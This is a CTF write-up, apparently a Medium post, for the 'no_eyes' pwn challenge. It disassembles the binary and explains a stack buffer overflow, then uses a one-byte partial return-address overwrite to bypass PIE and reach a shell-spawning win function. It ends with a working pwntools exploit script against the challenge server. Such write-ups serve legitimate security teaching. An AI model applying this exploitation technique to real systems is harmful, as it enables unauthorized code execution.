0xV01D CTF —no_eyes (Pwn)Writeup
This writeup will consists of 1 pwn challenge writeup only, due to the owner being so busy with life 😂
0xV01D CTF —no_eyes (Pwn)Writeup

This writeup will consists of 1 pwn challenge writeup only, due to the owner being so busy with life 😂
note — my language usage might be a little inconsistent because I’m not a native english speaker and I don’t really have that much experience with writing essays or CTF writeups 💀
Anyways, let’s start with the writeup!
Challenge name: no eyes
Remote:
nc 34.62.69.250 41063

The files that the author distributed are:
- chall (binary file)
- ld-linux-x86–64.so.2 (dynamic linker for linux ELF)
- libc.so.6 (GNU c library)
well what are we waiting for? time for some basic analysis!
$ unzip lknh3p.zip -d ctf
Archive: lknh3p.zip
creating: ctf/no_eyes/
inflating: ctf/no_eyes/chall
inflating: ctf/no_eyes/ld-linux-x86-64.so.2
inflating: ctf/no_eyes/libc.so.6
$ file *
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=260c003e92e451d300d722577798a3ed530eddb6, for GNU/Linux 3.2.0, not stripped
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=9718d3757f00d2366056830aae09698dbd35e32c, stripped
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a43bfc8428df6623cd498c9c0caeb91aec9be4f9, for GNU/Linux 3.2.0, stripped
we can see that the binary “chall” is not stripped, that means we have available symbols which really aids the reverse engineering process LOL
now what about checking some security mitigations?
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH RW-RUNPATH 50 Symbols No 0 2 chall
we can see that:
- No canary — stack buffer overflow is not detected
- NX enabled — stack/heap are non-executable; we cannot jump to shellcode placed on the stack
- PIE enabled — not fixed address
- Full RELRO — GOT entries are read only so its not possible to overwrite
- RW-RUNPATH — the dynamic linker will search for libc.so.6 in the same directory as the binary (provided LD_LIBRARY_PATH is not set), this is why they gave us a specific libc.so.6 😂
Running strings on the binary would show us something interesting..
...
You found it!
/bin/sh
Input:
Welcome
Return reached safely
...
execve@GLIBC_2.2.5
...
win
vulnerable
main
crash_handler
...
/bin/sh and “You found it!” could mean that theres a win function that calls execve(“/bin/sh”, 0, 0)
since the binary is not stripped, we can just do a very simple static analysis with objdump!
command that ive used: objdump -d -M intel chall
┌──(kali㉿kali)-[~/pwn_ctf_fr/ctf/no_eyes]
└─$ objdump -d -M intel chall
chall: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:
1000: 48 83 ec 08 sub rsp,0x8
1004: 48 8b 05 dd 2f 00 00 mov rax,QWORD PTR [rip+0x2fdd] # 3fe8 <__gmon_start__@Base>
100b: 48 85 c0 test rax,rax
100e: 74 02 je 1012 <_init+0x12>
1010: ff d0 call rax
1012: 48 83 c4 08 add rsp,0x8
1016: c3 ret
Disassembly of section .plt:
0000000000001020 <_exit@plt-0x10>:
1020: ff 35 62 2f 00 00 push QWORD PTR [rip+0x2f62] # 3f88 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 64 2f 00 00 jmp QWORD PTR [rip+0x2f64] # 3f90 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000001030 <_exit@plt>:
1030: ff 25 62 2f 00 00 jmp QWORD PTR [rip+0x2f62] # 3f98 <_exit@GLIBC_2.2.5>
1036: 68 00 00 00 00 push 0x0
103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>
0000000000001040 <puts@plt>:
1040: ff 25 5a 2f 00 00 jmp QWORD PTR [rip+0x2f5a] # 3fa0 <puts@GLIBC_2.2.5>
1046: 68 01 00 00 00 push 0x1
104b: e9 d0 ff ff ff jmp 1020 <_init+0x20>
0000000000001050 <printf@plt>:
1050: ff 25 52 2f 00 00 jmp QWORD PTR [rip+0x2f52] # 3fa8 <printf@GLIBC_2.2.5>
1056: 68 02 00 00 00 push 0x2
105b: e9 c0 ff ff ff jmp 1020 <_init+0x20>
0000000000001060 <alarm@plt>:
1060: ff 25 4a 2f 00 00 jmp QWORD PTR [rip+0x2f4a] # 3fb0 <alarm@GLIBC_2.2.5>
1066: 68 03 00 00 00 push 0x3
106b: e9 b0 ff ff ff jmp 1020 <_init+0x20>
0000000000001070 <read@plt>:
1070: ff 25 42 2f 00 00 jmp QWORD PTR [rip+0x2f42] # 3fb8 <read@GLIBC_2.2.5>
1076: 68 04 00 00 00 push 0x4
107b: e9 a0 ff ff ff jmp 1020 <_init+0x20>
0000000000001080 <execve@plt>:
1080: ff 25 3a 2f 00 00 jmp QWORD PTR [rip+0x2f3a] # 3fc0 <execve@GLIBC_2.2.5>
1086: 68 05 00 00 00 push 0x5
108b: e9 90 ff ff ff jmp 1020 <_init+0x20>
0000000000001090 <signal@plt>:
1090: ff 25 32 2f 00 00 jmp QWORD PTR [rip+0x2f32] # 3fc8 <signal@GLIBC_2.2.5>
1096: 68 06 00 00 00 push 0x6
109b: e9 80 ff ff ff jmp 1020 <_init+0x20>
00000000000010a0 <setvbuf@plt>:
10a0: ff 25 2a 2f 00 00 jmp QWORD PTR [rip+0x2f2a] # 3fd0 <setvbuf@GLIBC_2.2.5>
10a6: 68 07 00 00 00 push 0x7
10ab: e9 70 ff ff ff jmp 1020 <_init+0x20>
Disassembly of section .plt.got:
00000000000010b0 <__cxa_finalize@plt>:
10b0: ff 25 42 2f 00 00 jmp QWORD PTR [rip+0x2f42] # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
10b6: 66 90 xchg ax,ax
Disassembly of section .text:
00000000000010c0 <_start>:
10c0: 31 ed xor ebp,ebp
10c2: 49 89 d1 mov r9,rdx
10c5: 5e pop rsi
10c6: 48 89 e2 mov rdx,rsp
10c9: 48 83 e4 f0 and rsp,0xfffffffffffffff0
10cd: 50 push rax
10ce: 54 push rsp
10cf: 45 31 c0 xor r8d,r8d
10d2: 31 c9 xor ecx,ecx
10d4: 48 8d 3d bb 01 00 00 lea rdi,[rip+0x1bb] # 1296 <main>
10db: ff 15 f7 2e 00 00 call QWORD PTR [rip+0x2ef7] # 3fd8 <__libc_start_main@GLIBC_2.34>
10e1: f4 hlt
10e2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
10e9: 00 00 00
10ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
00000000000010f0 <deregister_tm_clones>:
10f0: 48 8d 3d 19 2f 00 00 lea rdi,[rip+0x2f19] # 4010 <__TMC_END__>
10f7: 48 8d 05 12 2f 00 00 lea rax,[rip+0x2f12] # 4010 <__TMC_END__>
10fe: 48 39 f8 cmp rax,rdi
1101: 74 15 je 1118 <deregister_tm_clones+0x28>
1103: 48 8b 05 d6 2e 00 00 mov rax,QWORD PTR [rip+0x2ed6] # 3fe0 <_ITM_deregisterTMCloneTable@Base>
110a: 48 85 c0 test rax,rax
110d: 74 09 je 1118 <deregister_tm_clones+0x28>
110f: ff e0 jmp rax
1111: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
1118: c3 ret
1119: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
0000000000001120 <register_tm_clones>:
1120: 48 8d 3d e9 2e 00 00 lea rdi,[rip+0x2ee9] # 4010 <__TMC_END__>
1127: 48 8d 35 e2 2e 00 00 lea rsi,[rip+0x2ee2] # 4010 <__TMC_END__>
112e: 48 29 fe sub rsi,rdi
1131: 48 89 f0 mov rax,rsi
1134: 48 c1 ee 3f shr rsi,0x3f
1138: 48 c1 f8 03 sar rax,0x3
113c: 48 01 c6 add rsi,rax
113f: 48 d1 fe sar rsi,1
1142: 74 14 je 1158 <register_tm_clones+0x38>
1144: 48 8b 05 a5 2e 00 00 mov rax,QWORD PTR [rip+0x2ea5] # 3ff0 <_ITM_registerTMCloneTable@Base>
114b: 48 85 c0 test rax,rax
114e: 74 08 je 1158 <register_tm_clones+0x38>
1150: ff e0 jmp rax
1152: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
1158: c3 ret
1159: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
0000000000001160 <__do_global_dtors_aux>:
1160: f3 0f 1e fa endbr64
1164: 80 3d dd 2e 00 00 00 cmp BYTE PTR [rip+0x2edd],0x0 # 4048 <completed.0>
116b: 75 2b jne 1198 <__do_global_dtors_aux+0x38>
116d: 55 push rbp
116e: 48 83 3d 82 2e 00 00 cmp QWORD PTR [rip+0x2e82],0x0 # 3ff8 <__cxa_finalize@GLIBC_2.2.5>
1175: 00
1176: 48 89 e5 mov rbp,rsp
1179: 74 0c je 1187 <__do_global_dtors_aux+0x27>
117b: 48 8b 3d 86 2e 00 00 mov rdi,QWORD PTR [rip+0x2e86] # 4008 <__dso_handle>
1182: e8 29 ff ff ff call 10b0 <__cxa_finalize@plt>
1187: e8 64 ff ff ff call 10f0 <deregister_tm_clones>
118c: c6 05 b5 2e 00 00 01 mov BYTE PTR [rip+0x2eb5],0x1 # 4048 <completed.0>
1193: 5d pop rbp
1194: c3 ret
1195: 0f 1f 00 nop DWORD PTR [rax]
1198: c3 ret
1199: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
00000000000011a0 <frame_dummy>:
11a0: f3 0f 1e fa endbr64
11a4: e9 77 ff ff ff jmp 1120 <register_tm_clones>
00000000000011a9 <init>:
11a9: f3 0f 1e fa endbr64
11ad: 55 push rbp
11ae: 48 89 e5 mov rbp,rsp
11b1: 48 8b 05 78 2e 00 00 mov rax,QWORD PTR [rip+0x2e78] # 4030 <stdin@GLIBC_2.2.5>
11b8: b9 00 00 00 00 mov ecx,0x0
11bd: ba 02 00 00 00 mov edx,0x2
11c2: be 00 00 00 00 mov esi,0x0
11c7: 48 89 c7 mov rdi,rax
11ca: e8 d1 fe ff ff call 10a0 <setvbuf@plt>
11cf: 48 8b 05 4a 2e 00 00 mov rax,QWORD PTR [rip+0x2e4a] # 4020 <stdout@GLIBC_2.2.5>
11d6: b9 00 00 00 00 mov ecx,0x0
11db: ba 02 00 00 00 mov edx,0x2
11e0: be 00 00 00 00 mov esi,0x0
11e5: 48 89 c7 mov rdi,rax
11e8: e8 b3 fe ff ff call 10a0 <setvbuf@plt>
11ed: 48 8b 05 4c 2e 00 00 mov rax,QWORD PTR [rip+0x2e4c] # 4040 <stderr@GLIBC_2.2.5>
11f4: b9 00 00 00 00 mov ecx,0x0
11f9: ba 02 00 00 00 mov edx,0x2
11fe: be 00 00 00 00 mov esi,0x0
1203: 48 89 c7 mov rdi,rax
1206: e8 95 fe ff ff call 10a0 <setvbuf@plt>
120b: bf 78 00 00 00 mov edi,0x78
1210: e8 4b fe ff ff call 1060 <alarm@plt>
1215: 90 nop
1216: 5d pop rbp
1217: c3 ret
0000000000001218 <crash_handler>:
1218: f3 0f 1e fa endbr64
121c: 55 push rbp
121d: 48 89 e5 mov rbp,rsp
1220: bf 01 00 00 00 mov edi,0x1
1225: e8 06 fe ff ff call 1030 <_exit@plt>
000000000000122a <win>:
122a: f3 0f 1e fa endbr64
122e: 55 push rbp
122f: 48 89 e5 mov rbp,rsp
1232: 48 8d 05 cb 0d 00 00 lea rax,[rip+0xdcb] # 2004 <_IO_stdin_used+0x4>
1239: 48 89 c7 mov rdi,rax
123c: e8 ff fd ff ff call 1040 <puts@plt>
1241: ba 00 00 00 00 mov edx,0x0
1246: be 00 00 00 00 mov esi,0x0
124b: 48 8d 05 c0 0d 00 00 lea rax,[rip+0xdc0] # 2012 <_IO_stdin_used+0x12>
1252: 48 89 c7 mov rdi,rax
1255: e8 26 fe ff ff call 1080 <execve@plt>
125a: 90 nop
125b: 5d pop rbp
125c: c3 ret
000000000000125d <vulnerable>:
125d: f3 0f 1e fa endbr64
1261: 55 push rbp
1262: 48 89 e5 mov rbp,rsp
1265: 48 83 ec 20 sub rsp,0x20
1269: 48 8d 05 aa 0d 00 00 lea rax,[rip+0xdaa] # 201a <_IO_stdin_used+0x1a>
1270: 48 89 c7 mov rdi,rax
1273: b8 00 00 00 00 mov eax,0x0
1278: e8 d3 fd ff ff call 1050 <printf@plt>
127d: 48 8d 45 e0 lea rax,[rbp-0x20]
1281: ba 00 01 00 00 mov edx,0x100
1286: 48 89 c6 mov rsi,rax
1289: bf 00 00 00 00 mov edi,0x0
128e: e8 dd fd ff ff call 1070 <read@plt>
1293: 90 nop
1294: c9 leave
1295: c3 ret
0000000000001296 <main>:
1296: f3 0f 1e fa endbr64
129a: 55 push rbp
129b: 48 89 e5 mov rbp,rsp
129e: b8 00 00 00 00 mov eax,0x0
12a3: e8 01 ff ff ff call 11a9 <init>
12a8: 48 8d 05 69 ff ff ff lea rax,[rip+0xffffffffffffff69] # 1218 <crash_handler>
12af: 48 89 c6 mov rsi,rax
12b2: bf 0b 00 00 00 mov edi,0xb
12b7: e8 d4 fd ff ff call 1090 <signal@plt>
12bc: 48 8d 05 55 ff ff ff lea rax,[rip+0xffffffffffffff55] # 1218 <crash_handler>
12c3: 48 89 c6 mov rsi,rax
12c6: bf 04 00 00 00 mov edi,0x4
12cb: e8 c0 fd ff ff call 1090 <signal@plt>
12d0: 48 8d 05 4b 0d 00 00 lea rax,[rip+0xd4b] # 2022 <_IO_stdin_used+0x22>
12d7: 48 89 c7 mov rdi,rax
12da: e8 61 fd ff ff call 1040 <puts@plt>
12df: b8 00 00 00 00 mov eax,0x0
12e4: e8 74 ff ff ff call 125d <vulnerable>
12e9: 48 8d 05 3a 0d 00 00 lea rax,[rip+0xd3a] # 202a <_IO_stdin_used+0x2a>
12f0: 48 89 c7 mov rdi,rax
12f3: e8 48 fd ff ff call 1040 <puts@plt>
12f8: b8 00 00 00 00 mov eax,0x0
12fd: 5d pop rbp
12fe: c3 ret
Disassembly of section .fini:
0000000000001300 <_fini>:
1300: 48 83 ec 08 sub rsp,0x8
1304: 48 83 c4 08 add rsp,0x8
1308: c3 ret
ok lets analyze it!
win function
000000000000122a <win>:
122a: f3 0f 1e fa endbr64
122e: 55 push rbp
122f: 48 89 e5 mov rbp,rsp
1232: 48 8d 05 cb 0d 00 00 lea rax,[rip+0xdcb] # 2004 <_IO_stdin_used+0x4>
1239: 48 89 c7 mov rdi,rax
123c: e8 ff fd ff ff call 1040 <puts@plt>
1241: ba 00 00 00 00 mov edx,0x0
1246: be 00 00 00 00 mov esi,0x0
124b: 48 8d 05 c0 0d 00 00 lea rax,[rip+0xdc0] # 2012 <_IO_stdin_used+0x12>
1252: 48 89 c7 mov rdi,rax
1255: e8 26 fe ff ff call 1080 <execve@plt>
125a: 90 nop
125b: 5d pop rbp
125c: c3 ret
basically:
- win() prints “You found it!” via puts.
- it then calls execve(“/bin/sh”, 0, 0) to give us a shell
- the address 0x122a is the start of the function, however, due to the endbr64 instruction (very intel CET), direct entry at 0x122a is safe Alternatively, we could just jump to 0x122e (the push rbp) or 0x122f (mov rbp, rsp) if we need to bypass a misaligned stack (common on Ubuntu 24.04)
vulnerable function
000000000000125d <vulnerable>:
125d: f3 0f 1e fa endbr64
1261: 55 push rbp
1262: 48 89 e5 mov rbp,rsp
1265: 48 83 ec 20 sub rsp,0x20 ; alloc 32 bytes on stack
1269: 48 8d 05 aa 0d 00 00 lea rax,[rip+0xdaa] # it just "Input: "
1270: 48 89 c7 mov rdi,rax
1273: b8 00 00 00 00 mov eax,0x0
1278: e8 d3 fd ff ff call 1050 <printf@plt>
127d: 48 8d 45 e0 lea rax,[rbp-0x20] ; buffer starts at rbp-0x20
1281: ba 00 01 00 00 mov edx,0x100 ; this read up to 256 bytes
1286: 48 89 c6 mov rsi,rax
1289: bf 00 00 00 00 mov edi,0x0 ; uhm fd = stdin
128e: e8 dd fd ff ff call 1070 <read@plt>
1293: 90 nop
1294: c9 leave
1295: c3 ret
- the function allocates a 0x20 (32) byte buffer on the stack (sub rsp, 0x20)
- it reads 0x100 (256) bytes into that buffer from standard input
- there is a blatant buffer overflow — basically 256 bytes are written into a 32-byte space
main function
0000000000001296 <main>:
1296: f3 0f 1e fa endbr64
129a: 55 push rbp
129b: 48 89 e5 mov rbp,rsp
129e: b8 00 00 00 00 mov eax,0x0
12a3: e8 01 ff ff ff call 11a9 <init>
12a8: 48 8d 05 69 ff ff ff lea rax,[rip+0xffffffffffffff69] # 1218 <crash_handler>
12af: 48 89 c6 mov rsi,rax
12b2: bf 0b 00 00 00 mov edi,0xb ; -SIGSEGV
12b7: e8 d4 fd ff ff call 1090 <signal@plt>
12bc: 48 8d 05 55 ff ff ff lea rax,[rip+0xffffffffffffff55] # 1218 <crash_handler>
12c3: 48 89 c6 mov rsi,rax
12c6: bf 04 00 00 00 mov edi,0x4 ; -SIGILL
12cb: e8 c0 fd ff ff call 1090 <signal@plt>
12d0: 48 8d 05 4b 0d 00 00 lea rax,[rip+0xd4b] # says "Welcome"
12d7: 48 89 c7 mov rdi,rax
12da: e8 61 fd ff ff call 1040 <puts@plt>
12df: b8 00 00 00 00 mov eax,0x0
12e4: e8 74 ff ff ff call 125d <vulnerable>
12e9: 48 8d 05 3a 0d 00 00 lea rax,[rip+0xd3a] # the part that says"Return reached safely"
12f0: 48 89 c7 mov rdi,rax
12f3: e8 48 fd ff ff call 1040 <puts@plt>
12f8: b8 00 00 00 00 mov eax,0x0
12fd: 5d pop rbp
12fe: c3 ret
- main() first calls init() (which sets up buffering, alarm, etc.)
- it installs crash_handler for SIGSEGV (0xb) and SIGILL (0x4). The handler simply calls _exit(1). this means if we accidentally jump to an invalid address, the program will exit cleanly instead of crashing with a core dump. this also prevents us from trying brute-force byte overwrites that cause crashes, because the program just terminates
- it then prints “Welcome”, calls vulnerable(), and if vulnerable returns normally, prints “Return reached safely”
- the return from vulnerable is at 0x12e9, the normal execution path expects to come back to that address
init function
00000000000011a9 <init>:
11a9: f3 0f 1e fa endbr64
11ad: 55 push rbp
11ae: 48 89 e5 mov rbp,rsp
11b1: 48 8b 05 78 2e 00 00 mov rax,[rip+0x2e78] # stdin
11b8: b9 00 00 00 00 mov ecx,0x0
11bd: ba 02 00 00 00 mov edx,0x2 ; _IONBF
11c2: be 00 00 00 00 mov esi,0x0
11c7: 48 89 c7 mov rdi,rax
11ca: e8 d1 fe ff ff call setvbuf@plt
... (same for stdout and stderr)
120b: bf 78 00 00 00 mov edi,0x78 ; 120s
1210: e8 4b fe ff ff call alarm@plt
1215: 90 nop
1216: 5d pop rbp
1217: c3 ret
- disables buffering on stdin/stdout/stderr (we dont need newline‑flushing tricks!!)
- sets an alarm of 120 seconds, so our exploit has ample time 💀
crash_handler function
0000000000001218 <crash_handler>:
1218: f3 0f 1e fa endbr64
121c: 55 push rbp
121d: 48 89 e5 mov rbp,rsp
1220: bf 01 00 00 00 mov edi,0x1
1225: e8 06 fe ff ff call _exit@plt
on any signal (SIGSEGV/SIGILL), the program calls _exit(1), so we don’t get crash logs 😭, but we can still know if our exploit works because the shell stays open haha
Ok now from all the analysis, what’s even the vulnerability??
The vuln is a classic stack buffer overflow in the vulnerable function:
void vulnerable() {
char buf[32];
printf("Input: ");
read(0, buf, 0x100); // this will read 256 bytes into 32-byte buffer
}
Since stack contains something like
[ buffer (32 bytes) ] [ saved RBP (8 bytes) ] [ return address (8 bytes) ]
we can overwrite the saved RBP and the return address
the offset to the return address is 32 + 8 = 40 bytes!
stack layout at vunerable leave; ret:
rbp-0x20 -> buf[0] (32 bytes)
rbp-0x08 -> saved RBP of main (8 bytes)
rbp+0x00 -> return address (8 bytes) <- originally 0x00005555555552e9 (it was relocated)
after the leave instruction:
- mov rsp, rbp
- pop rbp > restores main’s RBP from the overwritten saved RBP, increments RSP
- ret > pops the return address from the current RSP and jumps to it
because we control those 8 bytes after the buffer, we can redirect execution
but hey, i think there’s something trying to stop us, it’s PIE?
well yes, but first let’s take a look at what is PIE protection in binaries
PIE basically randomizes the base address of the binary
The addresses we see in objdump are relative to a base of 0x0000000000000000
At runtime, the binary’s base is something like 0x55xxxxxxxxxx. This means we cannot hardcode the address of win (e.g., 0x55555555522a) because the higher bytes are unknown to us 💀
HOWEVER!!
Note that the return address on the stack, before overwrite, is a relocated address that points to main+0x53 (the instruction after the call to vulnerable)
In our disassembly, that’s 0x12e9. At runtime, this address will be something like 0x5555555552e9 (base + 0x12e9)
The base is page-aligned (0x1000), so the lower 12 bits (three hex digits) of any address within the binary are constant and equal to the offset 😆
Thus, we can simply perform a partial overwrite of just the least significant byte(s) of the return address. since the target function win is at offset 0x122a, and the original return address is at offset 0x12e9, both reside in the same page (0x1000–0x1fff range). Their offsets differ only in the least significant byte: 0xe9 vs 0x2a. Overwriting one byte to \x2a will transform 0x…12e9 into 0x…122a, perfectly hitting win function!! 🎉
but, I’ve heard of ASLR bruteforce! why not that though?
- the original return address and the target win are within the same 4KB page. ASLR randomizes the page number but not the offset within the page
- changing a single byte keeps the same page base and only modifies the intra-page offset
- the probability of success is 100%, provided we send the correct byte and no bad characters interfere (none here, read accepts all bytes)
how do you develop the exploit script??
let’s craft the payload
we need:
- 40 bytes of padding to reach the return address
- 1 byte to overwrite the LSB of the return address to 0x2a (the least significant byte of win)
payload = b”A” * 40 + b”\x2a”
but there is a subtlety: the return address is 8 bytes, and the stack is little-endian
overwriting only the least significant byte (the first byte of the return address on the stack) changes the last byte of the address. For example, if the original return address was 0x5555555552e9, in memory (little-endian) it looks like:
e9 52 55 55 55 55 00 00
if we send 40 bytes followed by \x2a, the stack will become:
... some padding frfr ... 2a 52 55 55 55 55 00 00
now the return address is 0x55555555522a — the win function!
anyways here’s the solve script in python with pwntools (very short haha)
from pwn import *
target = '34.62.69.250'
port = 41063
p = remote(target, port)
offset = 40
payload = b"A" * offset
payload += b"\x2a"
p.sendafter(b"Input: ", payload)
p.interactive()
and you’ll just simply get the flag in 0xV01D{} format!
note — the flag is dynamic so its randomized
the flag will be inside flag.txt in the same directory as you got the shell
And yeah, that’s all for the writeup!
Credits to 0xV01D CTF for this good challenge! And I hope this writeup will benefit the readers! 😄
메타데이터
- post_id
- 68fc25e4fda0
- slug
- 0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
- url
- https://medium.com/@Vxmp_/0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
- canonical_url
- https://medium.com/@Vxmp_/0xv01d-ctf-no-eyes-pwn-writeup-68fc25e4fda0
- author_url
- https://medium.com/@Vxmp_
- status
- ok
- fetched_at
- 2026-06-13 07:35:29